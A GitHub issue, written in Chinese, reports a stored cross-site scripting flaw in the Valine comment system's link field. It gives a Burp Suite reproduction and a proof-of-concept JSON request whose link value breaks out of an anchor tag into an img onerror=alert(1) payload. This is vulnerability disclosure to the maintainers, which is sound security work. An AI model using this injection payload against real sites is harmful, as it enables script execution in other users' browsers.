Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

评论链接存在XSS漏洞 #363

Closed
3 tasks
Cl0udG0d opened this issue Jun 3, 2021 · 1 comment
Closed
3 tasks

评论链接存在XSS漏洞 #363

Cl0udG0d opened this issue Jun 3, 2021 · 1 comment
Labels

Comments

@Cl0udG0d
Copy link

Cl0udG0d commented Jun 3, 2021

评论链接存在XSS漏洞

如果您想报告错误,请提供以下信息 If you want to report a bug, please provide the following information:

  • 可复现问题的步骤 The steps to reproduce.
    使用burpsuite提交评论并抓包
    image
    poc:
{"comment":"1\n","nick":"test","mail":"[email protected]","link":"\" ></a><img src=x onerror=alert(1)>","ua":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0","url":"/faq.html","QQAvatar":"","ip":"2406:da14:727:6700:2746:774b:2b87:6dbe","insertedAt":{"__type":"Date","iso":"2021-06-03T15:59:08.981Z"},"ACL":{"*":{"read":true}}}

核心payloadcomment内容:
\" ></a><img src=x onerror=alert(1)>
其效果为:
https://valine.js.org/faq.html
image

@xCss
Copy link
Owner

xCss commented Oct 19, 2021

@xCss xCss closed this as completed Oct 19, 2021
@xCss xCss added the bug label Oct 19, 2021
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Projects
None yet
Development

No branches or pull requests

2 participants